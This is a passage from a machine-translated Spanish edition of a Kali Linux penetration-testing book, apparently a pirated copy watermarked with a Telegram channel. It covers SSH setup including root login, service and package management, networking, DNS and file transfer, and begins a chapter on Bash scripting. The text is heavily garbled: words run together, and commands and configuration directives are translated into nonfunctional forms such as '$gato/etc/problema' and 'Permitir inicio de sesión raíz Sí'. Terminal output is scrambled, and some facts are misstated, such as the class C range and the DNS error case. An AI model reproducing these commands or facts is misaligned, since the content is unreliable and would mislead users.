conectarse con algunas credenciales básicas (p. ej., un nombre de usuario de administrador
y una contraseña de contraseña 123) .
$rdesktop[direcciónIPdelhostdeWindows]-u[nombredeusuarioenventanas]p[contraseñaenventanas]
También puede omitir la contraseña e ingresarla más tarde. Vea el ejemplo en la Figura 1.9.
Figura 1.9 “Inicio de sesión de Windows”
Cubierta segura
El protocolo SSH es una conexión segura que le permite ejecutar comandos de forma
remota en un host Linux (en este caso, Kali). De forma predeterminada, SSH es un
protocolo TCP que funciona en el puerto 22 de forma predeterminada.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
servidor SSH remoto:
Uso de credenciales de nombre de usuario/contraseña
Uso de claves públicas/privadas (sin contraseña)
SSHconCredenciales
Comencemos primero con el método que usa la contraseña. De forma predeterminada, todas las cuentas
de usuario, excepto la cuenta raíz, pueden iniciar sesión de forma remota en SSH:
$ sshusuario @ kaliIP
La figura 1.10 muestra un usuario raíz que no tiene permiso para iniciar sesión en Kali Linux de
forma remota, así como un usuario normal ( kali ) que puede iniciar sesión de forma remota mediante SSH.
Figura 1.10 SSH con Moba Xtermon Windows
Para permitir que el usuario raíz inicie sesión de forma remota en SSH, deberá editar el archivo de
configuración de SSH en este directorio:
/etc/ssh/sshd_config
Asegúrese de agregar la siguiente línea al archivo de configuración de SSH:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Permitir inicio de sesión raíz Sí
Ahora, podemos intentar conectarnos a nuestro host Kali de forma remota utilizando la cuenta raíz
(debería funcionar esta vez después de los últimos cambios):
Figura 1.11 SSHRootConnection
Antes de comenzar a usar el servicio SSH en su Kali Linux, primero deberá iniciar el servicio SSH. Para
hacer esto, deberá ejecutar el siguiente comando:
$serviciosshstart
Si desea detenerlo más tarde, use el siguiente comando:
$serviciosshstop
Si desea que el servidor SSH persista (se inicie automáticamente) incluso después de reiniciar el
sistema, deberá ejecutar el siguiente comando:
$systemctlenablessh
Si olvidó el estado (iniciado o detenido) de su servidor SSH, ejecute el siguiente comando para obtener
los resultados que se muestran en la Figura 1.12:
$serviciosshstatus
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 1.12 SSHServiceStatus
De manera predeterminada, el número de puerto de SSHis es 22, y si el servidor remoto de
Linux ha cambiado a otro puerto, deberá especificarlo en su comando de conexión:
$sshusername@kaliIP-p[número de puerto]
Sin contraseñaSSH
Usando una clave pública y una clave privada, un usuario remoto puede iniciar sesión usando
SSH. Este método es más seguro que la contraseña porque nadie podrá usar la técnica de fuerza
bruta para ingresar a su servidor de forma remota.
Existe una gran cantidad de conceptos erróneos cuando se trata del mecanismo de
claves públicas/privadas.
Aquí está la información de la máquina cliente:
SO:UbuntuDesktopLinuxV20
IP: 10.0.0.186
Aquí está la información del host Kali Linux SSH Server:
Sistema operativo: KaliLinux2020.1
IP: 10.0.0.246
Primero, generaremos una clave pública y una clave privada en nuestro host cliente
(Ubuntu). ¿Por qué? El objetivo es realizar los siguientes pasos:
1. Genere una clave privada ( /home/[nombre de usuario]/.ssh/ id_rsa ) en la máquina cliente
porque es la que puede descifrar la clave pública.
2. Genere una clave pública ( /home/[nombre de usuario]/.ssh/ id_rsa.pub ) en la máquina
cliente. Necesitamos enviar una copia de la clave pública al servidor.
Después de eso, el servidor almacenará la clave pública del cliente en un archivo
llamado claves_autorizadas .
¡Comencemos! En nuestro host Ubuntu cliente, genere las claves públicas y privadas
(Figura 1.13):
$ ssh-keygen-trsa-b4096
Canal de Telegram : @IRFaraExam
Machine Translated by Google
El comando anterior usaba dos argumentos:
ÿTrsa : La t representa el tipo de clave a generar. RSA es la más
uno común, pero también tiene otras opciones ( dsa y rsa ). ,
ed25519
, ed25519ÿsk
,
ecdsa
,
ecdsaÿsk
,
ÿb4096 : La opción b especifica el número de bits en la clave para crear.
nuestro caso (clave RSA), el tamaño mínimo es 1024 bits y el valor predeterminado es 3072
pedacitos
Tome nota de que mientras realizamos los pasos anteriores, se nos ha pedido que ingresemos una
frase de contraseña. Esta contraseña se usará para agregar más seguridad cuando inicie sesión
de forma remota a SSH.
Figura 1.13 Generación de claves SSH
Revisemos la carpeta donde se guardaron estos archivos en el host del cliente
máquina( /home/gus/.ssh/ ):
gus @ ubuntu: ~ / .ssh $ ls-la
total16
drwx------2gusgus4096Oct110:03.
drwxr-xr-x15gusgus4096Oct109:57..
-rw-------1gusgus3369Oct110:03id_rsa
-rw-r--r--1gusgus736Oct110:03id_rsa.pub
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Ahora estamos listos para enviar una copia del archivo de clave pública id_rsa.pub a Kali
máquina host. Puede enviarlo de varias maneras (por ejemplo, por correo electrónico, SFTP, SCP, etc.)
Existe un método fácil y seguro con el paquete de cliente SSH que viene con
la herramienta SSH:
$ ssh-copy-idusername_on_kalihost@kaliIP
En el siguiente ejemplo, usaremos el nombre de usuario raíz y la contraseña (también, usted
se le pedirá la contraseña de esta cuenta) para copiar el archivo de clave pública:
gus@ubuntu:~/[email protected]
No se puede establecer la autenticidad del host '10.0.0.246(10.0.0.246)'.
ECDSAla huella dactilar es
SHA256:TA8zjlhAspZEc/3WZjyWRQBxzPfwJXE2X98JsMGnz6U.
¿Está seguro de que desea continuar conectándose (sí/no/
[huella digital])? sí
/usr/bin/ssh-copy-id:INFO:intentando iniciar sesión con la(s) clave(s) nueva(s), para
filtrar cualquiera que ya esté instalada
/usr/bin/ssh-copy-id:INFO:1clave(s)queda(n)instalada(s), si se le solicita que instale las
claves nuevas
Clave:
Númerodellave(s)añadidas:1
Ahora intente iniciar sesión en la máquina con: "ssh'[email protected]'"
y verifique para asegurarse de que solo se agregaron las claves que deseaba.
Ahora, verifiquemos que la clave autorizada realmente se haya agregado en el host Kali
máquina:
root@kali:~/.ssh#catauthorized_keyssshrsaAAAAB3NzaC1yc2EAAAADAQABAAACAQDNfvP6zEnKn55pY5hN8N34myD1XwwhS9JisvcR0qtXzM2957
gus@ubuntu
A continuación, editaré el archivo de configuración SSH ( /etc/ssh/sshd_config ) nuevamente en Kalito
permitir solo autenticación de clave pública:
PubkeyAuthenticationyes
ContraseñaAutenticaciónno
PROPINA
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Para asegurarse de que los cambios se propagan bien, es mejor reiniciar el
servidor SSH en Kalius con este comando:
$serviciosshrestart
Es hora de probar la conexión SSH y ver si funciona de forma remota:
gus@ubuntu:~/[email protected] Linuxkali5.5.0-kali1amd64#1SMPDebian5.5.13-2kali1(2020-04-03)x86_64
Los programas incluidos con el sistema Kali GNU/Linux son software libre; los términos de
distribución exactos para cada programa se describen en los archivos individuales en /usr/share/
doc/*/copyright.
KaliGNU/Linux viene CON ABSOLUTAMENTE NINGUNA GARANTÍA, en la medida permitida por la
ley aplicable.
Último inicio de sesión: jue oct 112: 04: 152020 de 10.0.0.222 root @ kali: ~ #
Gestión del sistema KaliLinux
Dado que usará Kali Linux como un arsenal de pruebas de penetración, entonces
debe saber cómo manejar su sistema, incluido cómo iniciar un servidor web Apache
o verificar su estado. Los ejemplos son interminables.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 1.14 Comandos de administración del sistema Kali
LinuxHostInformación
Para mostrar el nombre de host de Kali Linux, simplemente ejecute el comando de nombre de
host en su ventana de terminal:
$nombre de host
root@kali:/#nombre de host kali
¿Qué sucede si desea cambiar el nombre de su host Kali? Luego deberá editar su archivo de
configuración /etc/hostname (ingrese el nombre de la computadora deseada y no se olvide de guardar y
reiniciar su host).
LinuxOSInformación
Conocer la información del sistema operativo para un host Linux es crucial para la escalada de privilegios.
Así es como desea saber la versión que se utiliza para completar la declaración de privacidad (queremos
hablar sobre el capítulo 10).
Para mostrar la información del sistema operativo de un sistema operativo Linux (que es Kali Linux en
nuestro caso), utilizo el comando uname y, junto con él, muestro el contenido del archivo de configuración /
etc/issue :
$uname-a
$gato/etc/problema
root@kali:/#uname-a Linuxkali5.6.0kali2-amd64#1SMPDebian5.6.14-2kali1(2020-06-10)x86_64GNU/Linux root@kali:/#cat/etc/issue KaliGNU/
LinuxRolling\n\l
LinuxHardwareInformación
De vez en cuando, probablemente usará comandos especiales relacionados con el hardware de su PC
o VM.
Para obtener la información de la CPU de su servidor Linux, debe abrir /proc/cpuinfo :
root@kali:/#cat/proc/cpuinfo
Canal de Telegram : @IRFaraExam
Machine Translated by Google
:0
:GenuineIntel
:6
:158
: Intel(R)Core(TM)i7-8700CPU a 3,20 GHz
:10
procesadorproveedor_idcpufamiliamodelomodelonombrepaso
a paso
:0xd6
:3192.001
:12288KB
microcódigocpuMHztamaño de caché[…]
ParaobtenerlainformaciónRAMdesuhostKali,entoncesnecesitaráabrirla
archivo de configuración /proc/meminfo :
root@kali:/#cat/proc/meminfo
MemTotal:8676820kB
6183876kB
MemFree:MemDisponible:7781928kB
Búferes: 55444kB
En caché: 1739668kB
Intercambio en caché: 0kB
[…]
Para mostrar los dispositivos adjuntos (p. ej., unidades de disco, particiones, etc.), debe
una elección de dos comandos: fdisk (que muestra más información) o
lsblk :
$ fdisk-l
root@kali:/#fdisk-l
Disco/dev/sda:80GiB,85899345920bytes,167772160sectores
Modelo de disco:VMwareVirtualS
Unidades: sectores de 1512 = 512*bytes
Tamaño del sector (lógico/físico): 512 bytes/512 bytes
I/Osize (mínimo/óptimo): 512 bytes/512 bytes
Tipo de etiqueta de disco:dos
Identificador de disco: 0x4a6f3195
Dispositivo
Arranque/dev/sda1*/
dev/sda2/dev/sda5
Comienzo
EndSectorsSizeIdType
204816357990316357785678G83Linux
16358195016777011141881622G5Extendido
16358195216777011141881602G82Linuxintercambiar/
Solaris
$lsblk
Canal de Telegram : @IRFaraExam
Machine Translated by Google
raíz@kali:/#lsblk
NOMBRE
MAYO: MINRMSIZEROTYPEMOUNTPOINT
080G0disco8:0
078G0parte/
01K0parte
8:18:28:5 02G0parte[CAMBIAR]
sdaÿsda1ÿsda2ÿsda5
sr0
11:0
11024M0rom
Para mostrar la lista de dispositivos USB (p. ej., mouse, teclado, memoria USB, etc.), luego
tiene que ejecutar el comando lsusb :
$lsusb
root@kali:/#lsusb
Bus001Dispositivo001:ID1d6b:0002LinuxFoundation2.0roothub
Bus002Device004:ID0e0f:0008VMware,Inc.VMwareVirtualUSB
Ratón
Bus002Device003:ID0e0f:0002VMware, Inc. VirtualUSBHub
Bus002Device002:ID0e0f:0003VMware, Inc. Ratón virtual
Bus002Dispositivo001:ID1d6b:0001LinuxFoundation1.1roothub
Para mostrar todos los directorios montados en el sistema de archivos, deberá
ejecutar el comando de montaje :
$montar
root@kali:/#montar
sysfson/systypesysfs(rw,nosuid,nodev,noexec,relatime)
procon/proctypeproc(rw,nosuid,nodev,noexec,relatime)
udevon/
devtypedevtmpfs(rw,nosuid,noexec,relatime,size=4308020k,nr_inodes=1077005,mode=755)
[…]
Gestión de los servicios de ejecución
Los servicios son servidores que pueden ejecutarse en su Kali Linuxbox, como SSH, web,
FTP, etc
Una de las tareas comunes en las pruebas de penetración es un servidor web en su
Kaliso, puede transferir archivos a las máquinas de sus víctimas (entraré en más detalles
más adelante en este libro) después de obtener un shell remoto. Entonces, por ejemplo, para iniciar la web
servidor en su Kali Linux (para su información, esa no es la única forma de iniciar un
servicio, pero es mi favorito porque es fácil de memorizar):
Canal de Telegram : @IRFaraExam
Machine Translated by Google
root@kali:/#serviceapache2start
Estos son los comandos restantes que deberá conocer acerca de la administración de servicios:
Para obtener el estado de un servicio (iniciado, detenido):
$servicio[nombre del servicio]estado
$systemctlstatus[nombre del servicio]
Para iniciar un servicio:
$servicio[nombre del servicio]inicio
$systemctlstart[nombre del servicio]
Servidor de servicio Tostopa:
$servicio[nombre del servicio]stop
$systemctlstop[nombre del servicio]
Para reiniciar un servicio:
$servicio[nombre del servicio]reiniciar
$systemctlrestart[nombre del servicio]
Para permitir que un servicio comience a arrancar
automáticamente: $systemctlenable[servicename]
Para deshabilitar un servicio para que no se inicie automáticamente en
el arranque: $systemctldisable[servicename]
Administración de paquetes Lo primero
que debe saber antes de actualizar su sistema Kali Linux es que el archivo de configuración para el
repositorio de Kali se encuentra en /etc/apt/sources.list :
root@kali:/#cat/etc/apt/sources.list #
#debcdrom:[KaliGNU/Linux2020.2rc1_Kali-last-snapshot_Officialamd64DVDBinary-1withfirmware20200505-14:58]/kali rollingcontribmainnon-free
Canal de Telegram : @IRFaraExam
Machine Translated by Google
#debcdrom:[KaliGNU/Linux2020.2rc1_Kali-last-snapshot_Officialamd64DVDBinary-1withfirmware20200505-14:58]/kali rollingcontribmainnon-free
debhttp: //http.kali.org/kalikali-rollingmainnon-freecontrib #deb-srchttp: //http.kali.org/kalikalirollingmainnon-freecontrib
Para actualizar su sistema Kali Linux (como Windows Update), ejecute primero el comando de
actualización y luego el comando de actualización . Tome nota, estos dos comandos utilizarán el
archivo de configuración anterior para descargar e instalar los archivos necesarios:
$aptupdate
$aptupgrade-y
Usamos la opción ÿy en el comando de actualización para ignorar las solicitudes donde se solicita
la entrada de datos. En otras palabras, solo estamos diciendo "sí" por adelantado.
¿ Cuál es la diferencia entre los comandos de actualización y actualización ? Esa es una
pregunta confusa para principiantes, y estoy aquí para ayudarlo a comenzar a usar estos dos
comandos con confianza. En resumen, el comando de actualización solo actualiza la lista de
paquetes con las versiones más recientes, pero no instala ni actualiza el paquete .
Ahora, para usar estos comandos juntos, tendrá que usar el && intermedio, que eventualmente
ejecutará el primer comando, y cuando termine, ejecutará el segundo:
$aptupdate&&aptupgrade-y
Para actualizar completamente de una versión a otra, ejecute el comando de
actualización completa junto con el comando de actualización .
$aptupdate&&aptfull-upgrade-y
Ahora, para obtener una lista de todos los paquetes de software instalados en KaliLinux, deberá
usar el comando dpkg :
$dpkg-l
¿Qué pasa con la instalación de un nuevo software (paquete) en Kali? Hay dos formas comunes
que utilizo la mayor parte del tiempo. La primera es el comando aptinstall y
Canal de Telegram : @IRFaraExam
Machine Translated by Google
el segundo es dpkg (utilizo este último solo cuando descargo un archivo que termina con la
extensión .deb ).
$aptinstall[nombre del paquete]-y $dpkgi[nombre del archivo.deb]
En algunos paquetes de software, requerirán que use la forma de instalación configure / make , si
ese es el caso, luego use los siguientes comandos (debe estar dentro del directorio de la aplicación):
$./configure&&make&&makeinstall
Si desea eliminar una aplicación existente de su sistema Kali, use el comando aptremove :
$aptremove[nombre del paquete]
¿Cómo encontramos un nombre de paquete? Digamos que desea instalar algo que aún no está
instalado en Kali. Luego puede buscar los paquetes del repositorio usando el siguiente comando:
$apt-cachesearchpalabra clave
Finalmente, si desea instalar un paquete y no está seguro de si el nombre existe en el repositorio,
entonces puede usar el comando aptÿcacheshow :
$apt-cacheshow[nombre del software]
root@kali:/#apt-cacheshowfilezilla Paquete:filezilla
Versión:3.49.1-1 Tamaño instalado:6997
Mantenedor:AdrienCunin<[email protected]>
Arquitectura:amd64 […]
Gestión de proceso
Una de mis herramientas de ventana de terminal favoritas para enumerar todos los procesos en
ejecución en Kalii se llama htop . De manera predeterminada, no está instalada en Kali, así que para
instalarla, usamos el comando aptinstall :
root@kali:/#aptinstallhtop-y Leyendo listas de
paquetes... Listo
Canal de Telegram : @IRFaraExam
Machine Translated by Google
BuildingdependencytreeReadingstateinformation…Done
Una vez que esté instalado, puede ejecutar el comando htop :
$htop
Como puede ver en la Figura 1.15, estamos ejecutando Nmapa en otra ventana de terminal y
tiene un ID de proceso (PID) igual a 1338.
Figura 1.15 HTOP
Otra forma de obtener la lista de procesos actualmente en ejecución es mediante el
comando ps :
$ps-Au
-A: Para seleccionar todos los procesos (si desea enumerar solo los procesos que
pertenecen al usuario actual, use la opción -x en su lugar) -u: muestra más información (por
ejemplo, CPU, MEM, etc.) que la salida predeterminada
Para eliminar un proceso, primero deberá identificar su PID; luego, puede usar el comando
de eliminación para realizar el trabajo:
$matar[PID]
Si el sistema no le permite matarlo, entonces debe forzarlo a cerrar usando el interruptor ÿ9 :
$matar-9[PID]
Redes en KaliLinux
Canal de Telegram : @IRFaraExam
Machine Translated by Google
En esta sección, tendrá la oportunidad de comprender los conceptos básicos de las
redes en Kali Linux. Más adelante en el libro volveremos a temas más avanzados
relacionados con las redes, así que asegúrese de comprender y captar el contenido de
esta sección.
Figura 1.16 Comandos de red de Kali
Interfaz de red
Debe ser experto en redes para sobrevivir en la carrera de pruebas de penetración. Es
uno de los pilares del trabajo si va a ejecutar pruebas de penetración de infraestructura
de red.
Los hosts de PC tienen direcciones IP internas para conectarse con la red, y tienen una
dirección IP pública para comunicarse con el mundo exterior. Esta última es la misión de
su enrutador doméstico, y usted no lo administra localmente en su host local.
Por otro lado, debe mantener las direcciones IP de la red interna, que son estáticas
(usted las define) o asignadas automáticamente por un servidor DHCP (que
generalmente es su enrutador doméstico).
Rangos de direcciones privadas IPv4 Las
direcciones IP internas (también conocidas como direcciones IP privadas) para IPv4 tienen
varios rangos: clases A, B y C.
Clase A: 10.0.0.0 a 10.255.255.255 o 10.0.0.0 / 8 (hasta 16 777 214 hosts)
Clase B: 172.16.0.0 a 172.31.255.255 o 172.16.0.0/12 (hasta 1 048 574 hosts)
Clase C: 192.168.0.0 a 192.168.255.255 o 192.168.0.0/24 (hasta 254 hosts)
El rango más grande es la clase A para corporaciones, pero puede usarlo en casa.
(Nadie le impedirá hacer eso, ¿y adivine qué? Lo uso yo mismo en mi red doméstica).
El segundo, clase B, es para pequeñas/medianas/grandes empresas (según la cantidad
de hosts).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Echemos un vistazo rápido a la dirección IP de Kalihost.
nuestra interfaz de red, ejecute el popular comando ifconfig (tenga en cuenta que
últimamente ha habido un cambio para usar el comando ipaddr en lugar de ifconfig ).
De acuerdo con la Figura 1.17, tenemos dos interfaces de red. La primera en el
arriba, red , es el adaptador Ethernet que conecta mi host Kali con el
eth0 . Si tuviéramos un segundo adaptador Ethernet, sería eth1 . (Tenga en cuenta que
, wlan1 ,
si está utilizando un adaptador inalámbrico en su host, verá wlan0 , etc.)
Figura 1.17 Interfaces de KaliNetwork
.
Hay dos hechos importantes que debe comprender acerca de nuestro adaptador
Ethernet eth0 Primero, inet10.0.0.246 representa la dirección IP del host Kali que se asignó
automáticamente por el servidor DHCP. La segunda parte es la máscara de red, lo que significa
que estamos usando una subred/24; en otras palabras, solo necesitamos 254 hosts para estar
asignado en este rango de IP.
La segunda interfaz es para
, que representa un bucle invertido local; nunca
tocar esto ya que la infraestructura de red necesitará editar para operar correctamente.
Hay otras dos interfaces comunes con las que se encontrará; la primera es
la interfaz inalámbrica si está conectado de forma inalámbrica en lugar del cable.
la segunda es la interfaz VPN, si está conectado a un servidor VPN remoto.
Direccionamiento IP estático
Si desea asignar una dirección IP fija a su host Kali, deberá editar
Canal de Telegram : @IRFaraExam
Machine Translated by Google
el archivo de configuración /etc/network/interfaces
. En las siguientes novedades
configuration, que se muestra en la Figura 1.18, agrega estos tres componentes principales:
Dirección IP estática (va a ser 10.0.0.20 en mi caso; en su caso, tiene que
coincidir con su rango de direcciones IP privadas)
Máscara de subred o CIDR (/ 24 significa 255.255.255.0)
Dirección IP del enrutador/puerta de enlace (mi dirección IP del enrutador es 10.0.0.1; la suya podría
ser diferente)
Figura 1.18 Configuraciones IP estáticas
Después de guardar los cambios, asegúrese de reiniciar su máquina Kali para que esta
nueva dirección IP fija esté en funcionamiento.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 1.19 Prueba de conexión a Internet
Tome nota de que estamos utilizando la red 10.0.0.0 como nuestra VLAN principal
(red virtual). De hecho, tenemos varias VLAN en nuestra red doméstica. Por ejemplo, tenemos
una VLAN para dispositivos IoT, pero ¿por qué?
Otro ejemplo es la VLAN de invitados. Esta red es para las personas que se conectan al punto
de acceso inalámbrico de invitados y se les asignará en el rango de direcciones 10.0.20.0.
Las empresas implementan el mismo concepto. Idealmente, tienen un entorno de
desarrollo que es diferente a la red VLAN del entorno de producción.
DNS
El Sistema de nombres de dominio (DNS) traduce los nombres de dominio en direcciones IP.
Por ejemplo, en lugar de escribir https://172.217.13.132 , simplemente escriba https://
google.com. La pregunta es, ¿cómo llegué a la dirección IP?
Use el comando host en su ventana de terminal :
Canal de Telegram : @IRFaraExam
Machine Translated by Google
$host[nombre de dominio]
root@kali:/#hostgoogle.com
google.comhasaddress172.217.13.174
google.comhasIPv6address2607:f8b0:4020:806::200e
google.commailishandledby40alt3.aspmx.l.google.com.
google.commailishandledby30alt2.aspmx.l.google.com.
google.commailishandledby10aspmx.l.google.com.
google.commailishandledby50alt4.aspmx.l.google.com.
google.commailishandledby20alt1.aspmx.l.google.com.
El DNS se divide en dos categorías: público y privado (como las direcciones
IP). La dirección DNS de Google es pública para que cualquier persona conectada a
Internet pueda acceder al sitio web de Google.
Por otro lado, podemos tener un DNS privado para nuestra intranet local. Esto se puede
configurar usando un servidor DNS (por ejemplo, Microsoft Windows Server) o su
enrutador tiene un servidor DNS integrado.
.
ksec.local
corresponde a su dirección IP. Por ejemplo, el nombre de dominio de mi servidor de
archivos es ds- server.ksec.local (porque el nombre de host del servidor es ds-server ),
y el enrutador/servidor DNS administrará todos los registros DNS (se asigna un registro
entre direcciones IPv4 y nombres de dominio):
root@kali:~#hostds-server.ksec.local dsserver.ksec.localhasaddress10.0.0.177
Si especifica un registro DNS existente, recibirá un mensaje de error (esto es útil para
aplicar fuerza bruta a los registros DNS):
root@kali:~#hosthello.ksec.local
Hosthello.ksec.localnotfound:3(NXDOMAIN)
Tenga en cuenta que puede obtener sus propios registros DNS estáticos dentro de su Kalihost.
El archivo está ubicado en /etc/hosts , y aquí puede redirigir cualquier nombre de dominio a
cualquier dirección IP activa. (Esto demuestra que el envenenamiento de DNS funciona; el pirata informático
manipulará los registros para apuntar a la dirección IP de su servidor).
root@kali:~#cat/etc/hosts localhost
127.0.0.1127.0.1.1kali
#LassiguienteslíneassondeseablesparahostsconcapacidadIPv6localhostip6::1
localhostip6-loopback
ff02::1ip6-todos los nodos
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ff02::2ip6-todos los enrutadores
Aprenderá más sobre este tema más adelante en este libro, y aprenderá cómo
La fuerza bruta DNS y las transferencias de zona funcionan.
Conexiones establecidas
Para mostrar las conexiones de red activas en su host Kali, debe usar el
herramienta de comando netstat para hacer el trabajo.
fase posterior a la explotación para comprobar cómo el host Linux se comunica con su
la red.
En nuestro host Kali, hemos iniciado el SSH (puerto 22) y la web (puerto 80)
servicios; la herramienta netstat nos permitirá verlos escuchando
conexiones:
root@kali:~#netstat-antu
Conexiones a Internet activas (servidores y establecidas)
ProtoRecv-QSend-QLocalAddressForeignAddressState0.0.0.0: * tcpLISTENtcp6 ::: *
LISTENtcp6 ::: * LISTENudp10.0.0.1:
67
0000
00.0.0.0:220:::800:::22010.0.0.185:68
ESTABLECIDO
Es fundamental entender lo que significa cada opción:
ÿa/ÿÿall :Muestratodaslastomas.Tengaencuentaqueestaopciónesmuy
detallado; por lo tanto, necesitamos combinarlo con las siguientes opciones (para filtrar el
producción).
ÿn/ÿÿ numeric :No resolver nombres. En el comando anterior, vio
que la dirección IP es seguida por el número de puerto. Si no utilizo el ÿn
opción, entonces la herramienta intentará averiguar el nombre del servicio (por ejemplo, para
80, será HTTP en su lugar).
ÿt/ÿÿtcp :Mostrar conexiones TCP.
ÿu/ÿÿudp :Mostrar conexiones UDP.
Transferencias de archivos
Hay muchas maneras de transferir archivos en Kali Linux. Primero, para descargar archivos
desde Internet/intranet, tiene dos herramientas en su arsenal: wget y curl el siguiente ejemplo, . En
usamos ambas herramientas para descargar un archivo de texto de contraseña
Canal de Telegram : @IRFaraExam
Machine Translated by Google
deunodemisservidoresweblocales:
$wget[URL]
root@kali:~#wgethttp://ubuntu.ksec.local/passwords.txt --2020-10-0113:32:02-http://ubuntu.ksec.local/passwords.txt Resolviendo ubuntu.ksec.local(ubuntu.ksec.local)…
10.0.0.186 Conectando aubuntu.ksec.local(ubuntu.ksec.local)|10.0.0.186|:80…conectado.
Solicitud HTTP enviada, esperando respuesta… 200OK
Longitud: 0 [texto/sin formato]
Guardando en: 'contraseñas.txt.1'
contraseñas.txt.1[<=>]0--.-KB/sin0s
2020-10-0113:32:02(0.00B/s)-'contraseñas.txt.1'guardado[0/0] $curl-O[URL]
root@kali:~#curl-Ohttp://ubuntu. ksec.local/passwords.txt
%Total%Received%XferdAverageSpeedTimeTimeTimeCurrent
DloadSubirTotalGastadoIzquierdaVelocidad
100321003200160000--:--:----:--:----:--:--16000
PROPINA
Si desea descargar archivos desde GitHub, puede usar el comando
git :
$gitclone[gitprojectURL]
Otra forma de transferir archivos de forma segura utilizando el protocolo
SSH es la herramienta de comando scp . Es importante comprender que
necesitará el servicio SSH para iniciarse correctamente para que este proceso
funcione correctamente.
Primero, iniciaremos el servidor SSH en un host remoto de Ubuntu Linux, y
aquí es donde va a descargar mis archivos. (De forma predeterminada, el
servidor SSH no está instalado en Ubuntu. Para hacer el trabajo, ejecute el
comando $sudoaptinstall abre el servidor sh ) .
gus@ubuntu:~$ls
Vídeos
EscritorioDescargascontraseñas.txtPúblicoDocumentosMúsicaImágenesPlantillas
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Para terminar el trabajo de descargar el archivo, use el comando scp con el
patrón siguiente (el punto al final significa que estamos copiando el archivo a nuestro
directorio actual en Kali):
$scp[nombre-de-usuario-remoto@ip-remota:/ruta-remota][rutalocaldestino]
root@kali:~#[email protected]:/home/gus/passwords.txt.
contraseña de
[email protected]:contraseñas.txt
100%1716.7KB/s00:00
A continuación, intentaremos insertar un archivo llamado test.txt desde mi KalitotheremoteSSH
servidor (copiaremos el archivo en el directorio de inicio del usuario en Ubuntu) usando el
comando scp de nuevo:
$scp[filelocalpath][remote-username@remote-ip:/remote-path]
root@kali:~#scp/root/[email protected]:/home/gus
contraseña de [email protected]:test.txt
50.4KB/s00:00100%
Más adelante en este libro, verá aún más formas de transferir archivos como Samba,
FTP, etc. Por el momento, acaba de aprender las formas más comunes en las que
necesita ser consciente de.
Resumen
Con tantos comandos robados para aprender en este capítulo, es abrumador, ¿verdad?
El secreto de dominar el uso de las ventanas terminales es a través de la práctica.
tomar un tiempo para familiarizarse con la ventana de la terminal, pero una vez que está dentro, usted
se enamorará de ella.
Su papel se centra en las pruebas de penetración y el objetivo de este capítulo es
facilitarle el manejo del sistema KaliLinux. Este capítulo presenta
las herramientas y los comandos necesarios que encontrará durante una
compromiso. Al final, usted no es un administrador del sistema Linux, pero está en ciberseguridad,
tendrá que pensar fuera de la caja.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPITULO 2
BashScripting
En el capítulo anterior, aprendió muchos comandos en Linux. Ahora, llevemos sus
habilidades al siguiente nivel en las herramientas de línea de comandos.
¿Por qué Bashscripting? La universalidad de Bash nos brinda, a los probadores de
penetración, la flexibilidad de ejecutar comandos de terminal potentes sin la necesidad de
instalar un compilador o un entorno de desarrollo integrado (IDE).
¿Cuándo debe usar Bashscripts? ¡Esa es una pregunta importante que debe abordar antes
de comenzar este capítulo! Basis no está diseñado para desarrollar herramientas
sofisticadas.
Este capítulo no sólo le enseñará el lenguaje de secuencias de comandos Bash,
sino que irá más allá para mostrarle también la ideología de la programación. Si es nuevo
en la programación, este es un buen punto de partida para comprender cómo funcionan
los lenguajes de programación (comparten muchas similitudes).
Esto es lo que aprenderá en este capítulo:
Imprimiendo en la pantalla usando Bash
Usandovariables
Uso de parámetros de secuencia de comandos
Entrada de usuario de acción
Creación de funciones
Uso de sentencias if condicionales
Uso de bucles while y for
BasicBashScripting
Canal de Telegram : @IRFaraExam
Machine Translated by Google
La figura 2.1 resume todos los comandos, por lo que puede usar una referencia para
comprender todo el contenido de este capítulo. En resumen, el scripting básico de Bash se
divide en las siguientes categorías:
Variables
Funciones
Entrada del usuario
Salida de secuencia de comandos
Parámetros
Impresión en la pantalla en Bash
Hay dos formas comunes de escribir en la salida de la línea de comando del terminal
usando Bashscripting . El primer método simple es usar el comando echo que vimos en
el capítulo anterior (incluimos el valor de texto entre comillas simples o dobles):
$echo'mensaje para imprimir.'
El segundo método es el comando printf ; este comando es más flexible que el comando
echo porque le permite formatear la cadena que desea imprimir:
$printf'mensajeparaimprimir'
La fórmula anterior está demasiado simplificada; de hecho, printf también le permite
formatear cadenas (no solo para imprimir; es más que eso). Veamos un ejemplo: si
queremos mostrar el número de hosts activos en una red, podemos usar el siguiente patrón:
root@kali:~#printf"%s%d\n""Número de servidores activos:"15
Número de hosts en vivo: 15
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 2.1 BashScripting
Dividamosloscomandosparaquepuedacomprenderloqueestá pasando:
%s :Significa que estamos insertando una cadena (texto) en esta posición
%d : Significa que estamos leyendo un (número) decimal en esta posición
\n :Significa que queremos ir a una nueva línea cuando termine la impresión.
Además, tome nota de que estamos usando comillas dobles en lugar de comillas simples. Las
comillas dobles nos permitirán ser más flexibles con la manipulación de cadenas que las comillas
simples.
Para formatear una cadena con el comando printf , puede usar los siguientes patrones:
%s :Cadena(textos)
%d :Decimal(números)
%f : coma flotante (incluidos los números con signo)
%x : hexadecimal
\n :Nueva línea
\r :Retorno del carro
\t :Horizontaltab
Variables
¿Qué es una variable y por qué todos los lenguajes de programación la usan de todos modos?
Considere la variable como un área de almacenamiento donde puede guardar cosas como
cadenas y números. El objetivo es usarlos una y otra vez en su programa, y este concepto se
aplica a cualquier lenguaje de programación (no solo a Bashscripting).
Para declarar una variable, le asigna un nombre y un valor (el valor es una cadena de forma
predeterminada). El nombre de la variable solo puede contener un carácter alfabético o un
guión bajo (otros lenguajes de programación usan una convención de nomenclatura diferente).
Por ejemplo, si desea almacenar la dirección IP del enrutador en una variable, primero creará
